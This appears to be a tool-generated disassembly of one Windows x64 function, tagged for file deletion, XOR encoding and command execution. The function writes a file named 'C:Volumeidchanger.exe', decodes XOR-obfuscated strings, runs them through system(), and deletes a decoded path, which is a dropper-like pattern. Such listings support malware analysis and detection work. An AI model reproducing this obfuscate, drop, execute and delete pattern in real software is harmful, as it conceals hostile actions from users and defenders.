Function at 0x140049810
Capabilities:
Delete file
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov dword [rax + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1a8]
sub rsp, 0x270
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], 6
mov qword [rbp + 0x10], reloc.WS2_32.dll_ntohs
mov eax, dword [str.735411]
mov dword [rbp - 8], eax
movzx eax, word [0x14011adf8]
mov word [rbp - 4], ax
mov byte [rbp - 2], r14b
lea r8, [rbp - 8]
lea rdx, [rbp + 0x18]
lea rcx, [0x14018ab10]
call fcn.1400878c0
nop
lea rbx, [r14 - 1]
lea r15d, [r14 + 1]
lea r12d, [r14 + 0x1f]
movabs r13, 0x7fffffffffffffff
mov esi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14018ad20], r14b
je 0x140049f29
lea r8d, [r14 + 0x22]
lea rdx, str.C:Volumeidchanger.exe
lea rcx, [rbp + 0x30]
call fcn.140067290
nop
mov r8, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
sub r8, rdx
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x38]
call fcn.140068a50
test rax, rax
jne 0x140049903
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [rbx + 3]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [str.q_thcY_MT_RXV.1j___H]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x14011bb58]
mov dword [rbp - 0x70], eax
movzx eax, word [0x14011bb5c]
mov word [rbp - 0x6c], ax
movzx eax, byte [0x14011bb5e]
mov byte [rbp - 0x6a], al
mov edi, r14d
cmp esi, 2
jl 0x140049a6e
movdqa xmm5, xmmword [0x14011f510]
movdqa xmm4, xmmword [0x14011f5b0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14011f540]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14011f5c0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x70]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x10
jl 0x140049970
cmp edi, 0x17
jge 0x140049aac
movsxd rax, edi
lea r8, [rbp - 0x80]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x17
jl 0x140049a80
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x28]
call fcn.1400495a0
nop
movsd xmm0, qword [str.DX__RQ_]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x14011c4a8]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x14011c4ac]
mov byte [rsp + 0x7c], al
mov edi, r14d
cmp esi, 2
jl 0x140049bf6
movdqa xmm4, xmmword [0x14011f5b0]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm2, xmmword [0x14011f510]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
mov eax, dword [0x14011f5c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.DX__RQ_]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x14011f530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14011f540]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rsp + 0x70]
add r8, rax
mov eax, 0x94f2095
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xd
jl 0x140049c01
lea rax, [rsp + 0x70]
mov rcx, rbx
inc rcx
cmp byte [rax + rcx], 0
jne 0x140049c35
mov rax, r13
mov rdx, qword [rbp - 0x18]
sub rax, rdx
cmp rax, rcx
jb 0x14004a332
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rax, qword [rbp - 0x28]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp - 0x48]
call fcn.14006bea0
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.q_thcY_MT_RXV.1j___H]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x14011bb58]
mov dword [rbp - 0x70], eax
movzx eax, word [0x14011bb5c]
mov word [rbp - 0x6c], ax
movzx eax, byte [0x14011bb5e]
mov byte [rbp - 0x6a], al
mov edi, r14d
cmp esi, 2
jl 0x140049dfe
movdqa xmm5, xmmword [0x14011f510]
movdqa xmm4, xmmword [0x14011f5b0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14011f540]
movd xmm8, r12d
movdqa xmm0, xmmword [0x14011f5c0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x10
jl 0x140049d00
cmp edi, 0x17
jge 0x140049e3c
movsxd rax, edi
lea r8, [rbp - 0x80]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x17
jl 0x140049e10
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140049e84
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049e7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049e7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e2dc0
movdqa xmm0, xmmword [0x14011f4d0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140049ed3
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049ece
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140049ece
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e2dc0
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x28], 0
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x38]
call fcn.140067f00
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [0x1400435f0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.140073f00
mov qword [0x14018a628], rax
mov eax, dword [str.BZZ5]
mov dword [rbp + 0x1b0], eax
cmp byte [0x14011b42b], 0
je 0x14004a02c
cmp esi, 2
jl 0x140049fec
movdqa xmm3, xmmword [0x14011f510]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14011f5b0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14011f5b0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r15d
psrad xmm2, xmm0
movd xmm0, r12d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14011f540]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14011f5c0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x1b0], xmm2
jmp 0x14004a02c
lea r8, [rbp + 0x1b0]
mov edi, r14d
nop word [rax + rax]
mov eax, 0x94f2095
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 4
jl 0x14004a000
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
lea rax, [rbp + 0x1b0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004a042
mov r8, rbx
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp - 0x48]
call fcn.14006ae00
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x68]
lea rcx, [0x14018ab10]
call fcn.140092670
nop
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 8]
call fcn.140068440
mov r8, rax
lea rdx, [rsp + 0x50]
lea rcx, [0x14018ab10]
call fcn.1400878c0
nop
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x38], 0
mov byte [rsp + 0x20], 0
mov rdx, qword [rsp + 0x50]
mov rcx, qword [0x14018a628]
call fcn.140079170
test rax, rax
jne 0x14004a0cd
mov rcx, qword [0x14018a628]
call fcn.140074dc0
mov rcx, qword [0x14018a628]
call fcn.140074dc0
mov rax, qword [rsp + 0x50]
cmp rax, qword [rsp + 0x58]
je 0x14004a0ea
mov qword [rsp + 0x58], rax
lea rax, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rax, qword [rbp - 0x68]
mov qword [rbp - 0x58], r14
mov byte [rax], 0
mov rbx, r14
mov r8, r14
mov rsi, r14
mov rdi, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
sub rdi, rcx
je 0x14004a182
cmp rdi, r13
ja 0x14004a338
cmp rdi, 0x1000
jb 0x14004a152
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x14004a32c
call fcn.1400e2a64
test rax, rax
je 0x14004a25d
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14004a15d
mov rcx, rdi
call fcn.1400e2a64
mov rbx, rax
lea rsi, [rbx + rdi]
mov rdi, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
sub rdi, rdx
mov r8, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r8, [rdi + rbx]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], r8
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x60], rsi
test rcx, rcx
je 0x14004a1d2
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14004a1c3
add rdx, 0x27
mov rdi, qword [rcx - 8]
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14004a25d
mov rcx, rdi
call fcn.1400e2dc0
mov r8, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
sub r8, rbx
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x58]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x50]
sub rcx, rdi
xor eax, eax
rep stosb byte [rdi], al
lea rdi, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdi, qword [rbp - 0x68]
mov rcx, qword [rbp - 0x58]
rep stosb byte [rdi], al
call fcn.1400436d0
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14004a277
mov rdx, qword [rsp + 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a264
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a264
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400e2dc0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14004a2b5
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a2b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a2b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e2dc0
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x14004a302
mov rdx, qword [rbp + 0x28]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a2fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004a2fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e2dc0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140003110
nop
call fcn.140041670
nop
call fcn.14006c030
int3